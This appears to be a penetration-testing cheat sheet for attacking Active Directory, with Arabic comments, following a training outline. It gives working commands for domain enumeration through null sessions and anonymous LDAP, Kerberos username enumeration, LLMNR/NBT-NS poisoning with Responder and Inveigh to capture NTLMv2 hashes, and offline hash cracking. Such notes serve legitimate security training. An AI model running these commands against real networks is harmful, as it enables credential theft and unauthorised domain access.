1. Setting The Stage

Tools Of The Trade

# Linux Tools
impacket-*          # مجموعة أدوات AD
bloodhound-python   # جمع بيانات BloodHound
crackmapexec (cme)  # Swiss army knife للـ AD
responder           # LLMNR/NBT-NS poisoning
kerbrute            # Kerberos attacks
ldapsearch          # LDAP enumeration

# Windows Tools
PowerView.ps1       # AD enumeration
SharpHound.exe      # BloodHound collector
Rubeus.exe          # Kerberos attacks
mimikatz.exe        # Credential extraction
BloodHound GUI      # رسم العلاقات

2. Initial Enumeration

External Recon

# DNS
nslookup domain.local <DC_IP>
dig @<DC_IP> domain.local ANY

# crt.sh — subdomains
curl -s "https://crt.sh/?q=domain.com&output=json" | jq -r '.[].name_value'

# LinkedIn/GitHub — موظفين وتقنيات
# Shodan — أجهزة مكشوفة
shodan search "org:company"

Initial Enumeration of the Domain

# Nmap — اكتشاف DC
nmap -p 88,389,636,445,3389 <range>/24

# Kerbrute — username enumeration
kerbrute userenum -d domain.local --dc <DC_IP> usernames.txt

# crackmapexec — null session
crackmapexec smb <DC_IP> -u '' -p ''
crackmapexec smb <DC_IP> -u '' -p '' --users
crackmapexec smb <DC_IP> -u '' -p '' --groups
crackmapexec smb <DC_IP> -u '' -p '' --shares

# ldapsearch anonymous
ldapsearch -H ldap://<DC_IP> -x -s base namingcontexts
ldapsearch -H ldap://<DC_IP> -x -b "DC=domain,DC=local" "(objectclass=user)" sAMAccountName

3. Sniffing out a Foothold

LLMNR/NBT-NS Poisoning — from Linux

# Responder يعترض requests ويسرق NTLMv2 hashes
sudo responder -I eth0 -A   # passive — ما يرد
sudo responder -I eth0      # active — يرد ويسرق

# hashes تتحفظ في:
cat /usr/share/responder/logs/*.txt

# كسر الهاش
hashcat -m 5600 ntlmv2.hash /usr/share/wordlists/rockyou.txt
john --wordlist=rockyou.txt ntlmv2.hash

LLMNR/NBT-NS Poisoning — from Windows

# Inveigh — PowerShell Responder
Import-Module Inveigh.ps1
Invoke-Inveigh -LLMNR Y -NBNS Y -ConsoleOutput Y

# Inveigh C# version
.\Inveigh.exe
# Press ESC لـ interactive console
# NTLMV2 لعرض الهاشات

4. Sighting In, Hunting For A User

Password Spraying Overview

Password Spraying = كلمة مرور واحدة على كثير users